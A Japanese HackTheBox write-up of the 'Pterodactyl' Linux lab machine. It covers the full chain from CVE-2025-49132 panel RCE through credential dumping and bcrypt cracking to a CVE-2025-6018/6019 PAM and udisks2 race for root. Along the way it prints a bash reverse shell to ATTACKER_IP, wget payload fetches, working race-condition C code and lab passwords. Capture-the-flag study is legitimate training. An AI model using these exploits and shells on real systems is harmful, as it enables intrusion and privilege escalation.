
HTB Season 10 - Pterodactylマシンのwriteup。Medium Linuxボックスで、CVE-2025-49132(Pterodactyl Panel RCE)およびCVE-2025-6018/6019(udisks2権限昇格)をカバーしています。
難易度: Medium | OS: Linux (openSUSE Leap 15.6) | シーズン: 10
Pterodactyl は、中程度の難易度の Linux マシンで、Pterodactyl ゲームサーバーパネルが動作しています。攻撃チェーンは、パネルの認証不要の LFI-to-RCE 脆弱性、MySQL 経由の認証情報抽出、SSH アクセスのための bcrypt ハッシュクラッキング、そして PAM セッションインジェクションと udisks2 XFS リサイズの競合状態を悪用した 2 つの CVE による権限昇格チェーンを含みます。
フラグ:
************************nmap -sSCV -A --min-rate 4000 10.129.44.184
開放ポート:
| ポート | サービス | バージョン |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 |
| 80 | HTTP | nginx/1.21.5 → pterodactyl.htb |
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt
changelog からの主な発見:
panel.pterodactyl.htbcurl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
| 設定 | 値 | 意味 |
|---|---|---|
register_argc_argv | On | pearcmd CLI の悪用を可能にする |
include_path | .:/usr/share/php8:/usr/share/php/PEAR | pearcmd.php が到達可能 |
open_basedir | (値なし) | 制限なしのファイルシステムアクセス |
CVE-2025-49132 は Pterodactyl Panel ≤ v1.11.10 に影響します。/locales/locale.json エンドポイントは、locale と namespace パラメータをサニタイズや認証なしで直接 PHP の include() に渡し、ディレクトリトラバーサルと pearcmd ベースの RCE を可能にします。
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb
# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "id" \
--pear-dir /usr/share/php/PEAR
出力: uid=474(wwwrun) gid=477(www) groups=477(www)
| サービス | ユーザー名 | パスワード |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| Laravel | APP_KEY | base64:UaThTPQnUjrrK61o+... |
# Listener
nc -lnvp 4444
# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pear-dir /usr/share/php/PEAR
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
-e "USE panel; SELECT username,email,password FROM users;"
| ユーザー名 | ハッシュ |
|---|---|
headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet... |
phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoO... |
cat /home/phileasfogg3/user.txt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3
結果: phileasfogg3 : !QAZ2wsx
ssh [email protected]
# password: !QAZ2wsx
sudo -l
(ALL) ALL が設定されていますが、targetpw デフォルトオプションにより root のパスワードが必要で、標準的な sudo の悪用がブロックされています。
CVE-2025-6018 は openSUSE の pam_env.so を悪用し、ログイン時に環境変数を注入します。~/.pam_environment に XDG_SEAT=seat0 と XDG_VTNR=1 を配置することで、リモート SSH ユーザーは Polkit に対して自分たちのセッションをアクティブなローカルコンソールセッション (allow_active) として扱わせ、ハードウェア管理 D-Bus アクションを解放できます。
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
# Exit and SSH back in (PAM re-reads on fresh login)
exit
ssh [email protected]
# Verify
echo $XDG_SEAT # seat0
echo $XDG_VTNR # 1
CVE-2025-6019 は、udisks2 が Filesystem.Resize D-Bus 呼び出し中に XFS イメージを一時的にマウントする際に、libblockdev の nosuid フラグが欠落していることを悪用します。このウィンドウ中にイメージ内の SUID バイナリを実行するレースを行うことで、allow_active Polkit 権限を持つ非特権ユーザーが root シェルを取得できます。
# Create XFS image using target's mkfs.xfs for compatibility
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs
# Build on target directly instead
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img
攻撃者に転送し、SUID バイナリを注入して戻します。
# On attacker (as root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl # Must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>
int main() {
char path[512], cmd[512];
struct stat st;
while(1) {
DIR *d = opendir("/tmp");
struct dirent *e;
while((e = readdir(d))) {
if(strncmp(e->d_name, "blockdev.", 9) == 0) {
snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
closedir(d);
snprintf(cmd, sizeof(cmd),
"%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
system(cmd);
return 0;
}
}
}
closedir(d);
}
}
gcc -O2 -o racer racer.c
# On target
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer
udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Note loop device number (e.g. loop7)
rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &
for i in $(seq 1 300); do
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop7 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait
結果: Root シェルを取得。
id
# uid=0(root)
cat /root/root.txt
[Nmap] ポート 22, 80
↓
[Web 調査] changelog.txt → Pterodactyl Panel v1.11.10
↓
[phpinfo.php] register_argc_argv=On, PEAR が include_path 内
↓
[CVE-2025-49132] 認証不要 LFI → pearcmd RCE → wwwrun シェル
↓
[MySQL] pterodactyl:PteraPanel → bcrypt ハッシュ
↓
[Hashcat] phileasfogg3:!QAZ2wsx
↓
[SSH] phileasfogg3
↓
[CVE-2025-6018] ~/.pam_environment → allow_active バイパス
↓
[CVE-2025-6019] udisks2 XFS リサイズ競合 → SUID 実行 → ROOT
| サービス | ユーザー名 | パスワード |
|---|---|---|
| MySQL | pterodactyl | PteraPanel |
| SSH / Panel | phileasfogg3 | !QAZ2wsx |
| ツール | 目的 |
|---|---|
| nmap | ポートスキャン |
| dirsearch | Web ディレクトリの総当たり |
| CVE-2025-49132 exploit | 認証不要 LFI + pearcmd RCE |
| hashcat (-m 3200) | Bcrypt クラッキング |
| CVE-2025-6018-6019 PoC | PAM バイパス + udisks2 競合 |
| Custom C racer | nosuid 競合状態に勝利 |
攻略記作成者: [kareem elsheikh] | HackTheBox シーズン 10